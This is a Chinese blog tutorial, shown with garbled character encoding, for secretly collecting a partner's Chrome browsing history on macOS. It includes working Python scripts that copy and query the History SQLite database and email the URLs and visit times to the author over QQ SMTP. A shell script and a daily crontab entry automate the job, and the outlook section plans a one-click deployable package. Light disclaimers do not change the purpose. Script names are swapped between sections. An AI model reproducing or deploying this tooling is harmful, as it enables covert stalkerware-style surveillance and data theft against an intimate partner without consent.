閱讀文本大概需要 5 分鐘。
需求:
!
(1) 獲取你對(duì)象chrome前一天的瀏覽記錄中的所有網(wǎng)址(url)和訪問(wèn)時(shí)間,并存在一個(gè)txt文件中
(2)將這個(gè)txt文件發(fā)送給指定的郵箱地址(你的郵箱)
(3)建立例行任務(wù),每天定時(shí)自動(dòng)完成這些操作,你就可以通過(guò)郵件查看你對(duì)象每天看啥了
背景:
(1)mac下chrome的瀏覽記錄在哪?怎么獲取網(wǎng)址(url)和訪問(wèn)時(shí)間?
答:路徑:/Users/用戶名/Library/Application\ Support/Google/Chrome/Default/History
History:是一個(gè)SQLite數(shù)據(jù)庫(kù),其實(shí)就是一個(gè)文件,可以用DB Browser for SQLite
去查看所有的信息,我們要的信息在urls表中
怎么獲取:用python內(nèi)置的sqlite3庫(kù)連接History,通過(guò)sql得到我們想要的信息
(2)怎么發(fā)送一個(gè)帶附件的郵件?
答:使用python內(nèi)置的email和smtplib兩個(gè)模塊去構(gòu)造和發(fā)送郵件
(3)怎么把這些過(guò)程自動(dòng)化?
答:使用shell腳本將這些過(guò)程連接起來(lái),然后使用crontab命令定時(shí)運(yùn)行
準(zhǔn)備
macOS Sierra
Python3.6
Chrome
發(fā)送郵件的qq郵箱地址
qq郵箱授權(quán)碼
SMTP服務(wù)器地址 : smtp.qq.com
接受郵件的郵箱地址
執(zhí)行:
(1) 首先我們用DB Browser for SQLite來(lái)看下History中的urls表的數(shù)據(jù)組成
從表中可以看出,我們要的網(wǎng)址和訪問(wèn)時(shí)間就在urls.url和urls.last_visit_time中
(2) get_history.py:
# -*- coding: utf-8 -*-
from email import encoders
from email.header import Header
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email.utils import parseaddr, formataddr
import smtplib
import argparse
# 1.文件執(zhí)行的需要的參數(shù)(result.txt)
parser = argparse.ArgumentParser()
parser.add_argument('affix_file',help='the path of the affix')
args = parser.parse_args()
# 2.格式化一個(gè)郵件地址和郵件信息
def _format_addr(s):
name, addr = parseaddr(s)
return formataddr((Header(name, 'utf-8').encode(), addr))
#連接服務(wù)器(這里大家好改成自己的!)
from_addr = "771568102@qq.com" #發(fā)件人郵箱
password = "xxxxxxxx" #發(fā)件人郵箱授權(quán)碼
to_addr = "2160802033@cnu.edu.cn" #收件人郵箱
smtp_server = "smtp.qq.com" #SMTP服務(wù)器地址
#郵件發(fā)件人名字、收件人名字、主題
msg = MIMEMultipart()
msg['From'] = _format_addr('風(fēng)一樣的女子 <%s>' % from_addr)
msg['To'] = _format_addr('風(fēng)一樣的男子 <%s>' % to_addr)
msg['Subject'] = Header('chrome歷史記錄每日更新', 'utf-8').encode()
# 郵件正文是MIMEText:
msg.attach(MIMEText('窺探隱私是犯法的??!', 'plain', 'utf-8'))
# 添加附件就是加上一個(gè)MIMEBase,從本地讀取一個(gè)txt文件:
with open(args.affix_file, 'r') as f:
# 設(shè)置附件的MIME和文件名,這里是py類型:
mime = MIMEBase('result', 'txt', filename='result.txt')
# 加上必要的頭信息:
mime.add_header('Content-Disposition', 'attachment', filename='result.txt')
mime.add_header('Content-ID', '<0>')
mime.add_header('X-Attachment-Id', '0')
# 把附件的內(nèi)容讀進(jìn)來(lái):
mime.set_payload(f.read())
# 用Base64編碼:
encoders.encode_base64(mime)
# 添加到MIMEMultipart:
msg.attach(mime)
#3.通過(guò)SMTP發(fā)送出去
server = smtplib.SMTP(smtp_server, 25)
server.set_debuglevel(1)
server.login(from_addr, password)
server.sendmail(from_addr, [to_addr], msg.as_string())
server.quit()
通過(guò)這個(gè)腳本,我們可以把url和訪問(wèn)時(shí)間提取出來(lái),并且存儲(chǔ)在 result.txt中,下圖就是我得到的部分結(jié)果
(3) send_email.py:
# -*- coding: utf-8 -*-
import sqlite3
#大家要改成自己的路徑
history_db = '/Users/Marcel/Desktop/tmp/code/chrome_history/History'
# 1.連接history_db
c = sqlite3.connect(history_db)
cursor = c.cursor()
# 2.選取我們想要的網(wǎng)址和訪問(wèn)時(shí)間
try:
select_statement = "SELECT url,datetime(last_visit_time/1000000-11644473600,'unixepoch','localtime') AS tm FROM urls WHERE julianday('now') - julianday(tm) < 1 ORDER BY tm;"
cursor.execute(select_statement)
except sqlite3.OperationalError:
print("[!] The database is locked! Please exit Chrome and run the script again.")
quit()
# 3.將網(wǎng)址和訪問(wèn)時(shí)間存入result.txt文件
results = cursor.fetchall()
with open('/Users/Marcel/Desktop/tmp/code/chrome_history/result.txt','w') as f:#改成自己的路徑
for i in range(len(results)):
f.write(results[i][1]+'\n')
f.write(results[i][0]+'\n')
通過(guò)這個(gè)腳本,我們可以把result.txt作為附件,發(fā)送給指定郵箱地 址,下圖是我得到的部分結(jié)果
(4) ./start.sh :其實(shí),前面幾個(gè)腳本,已經(jīng)完成了我們的任務(wù),但是每次都執(zhí)行這么多腳 本,太麻煩了,我們可以把這些腳本的執(zhí)行語(yǔ)句整理成一個(gè)shell腳本。
cp /Users/Marcel/Library/Application\ Support/Google/Chrome/Default/History /Users/Marcel/Desktop/tmp/code/chrome_history/
python /Users/Marcel/Desktop/tmp/code/chrome_history/get_history.py
python /Users/Marcel/Desktop/tmp/code/chrome_history/send_mail.py /Users/Marcel/Desktop/tmp/code/chrome_history/result.txt
這樣,我們?cè)诮K端執(zhí)行./start.sh,系統(tǒng)就會(huì)幫我們把這三條語(yǔ)句依次執(zhí)行了
注意:由于crontab命令需要絕對(duì)路徑,所以這里的路徑都是用絕對(duì)路徑
(5) crontab :如果使用了這個(gè)命令,在電腦開(kāi)機(jī)并且聯(lián)網(wǎng)的情況,系統(tǒng)會(huì)自動(dòng)執(zhí)行,然后把結(jié)果發(fā)到你的郵箱
使用方法:在終端下輸入crontab -e,使用vim輸入下面一行代碼就可以了
20 14 * * * /Users/Marcel/Desktop/tmp/code/chrome_history/start.sh
說(shuō)明:前面兩個(gè)數(shù)字,就是你每天執(zhí)行這個(gè)腳本的時(shí)間,我這里設(shè)置的是14:20。
重要的事再說(shuō)一遍,一定要寫絕對(duì)路徑!??!
問(wèn)題:
1.server.login(from_addr, password)函數(shù)中的password不是郵箱密碼,在qq郵箱中,指的是授權(quán)碼
答:qq郵箱授權(quán)碼:什么是授權(quán)碼,它又是如何設(shè)置?_QQ郵箱幫助中心
2.訪問(wèn)History數(shù)據(jù)庫(kù)時(shí),顯示The database is locked!
答:在我們打開(kāi)瀏覽器的同時(shí)去訪問(wèn)History時(shí),就會(huì)出現(xiàn)這種情況,有兩種解決辦法:
(1)關(guān)閉瀏覽器,再去訪問(wèn)
(2)把History拷貝到其他文件夾中,然后訪問(wèn)該文件夾下的History
3.timestamp時(shí)間戳怎么轉(zhuǎn)換的
答:last_visit_time是微秒,所以要除以10^6;
last_visit_time的起始值是1601年1月1日0時(shí)0分0秒,所以要減去11644473600;
篩選昨天的數(shù)據(jù):現(xiàn)在的日期與last_visit_time的差值小于1的數(shù)據(jù),就是距離當(dāng)前時(shí)
間小于1天的數(shù)據(jù)
4.crontab出錯(cuò)
答:crontab中所有路徑都要寫絕對(duì)路徑,包括py腳本中的路徑也要寫絕對(duì)路徑!
5. 路徑 問(wèn)題
答:大家在復(fù)現(xiàn)的時(shí)候,要注意把 路徑 改成自己電腦上的,還有那個(gè)郵箱相關(guān)的信息也要改成自己的。
總結(jié):
1.運(yùn)用python連接SQLite數(shù)據(jù)庫(kù),并執(zhí)行sql操作
2.運(yùn)用python發(fā)送郵件
3.運(yùn)用shell和crontab建立自動(dòng)化例行任務(wù)
4.看別人隱私是不對(duì)的,這篇文章只是我自己瞎玩的,實(shí)際可行性不強(qiáng)
展望:
1.把這些打包成一個(gè)可執(zhí)行文件,雙擊之后可以直接部署,并且可以跨平臺(tái)
2.目前這個(gè)腳本,只有在電腦是打開(kāi)并且聯(lián)網(wǎng)的時(shí)候,才能自動(dòng)執(zhí)行,所以并不能理想地監(jiān)控別人的瀏覽記錄哦!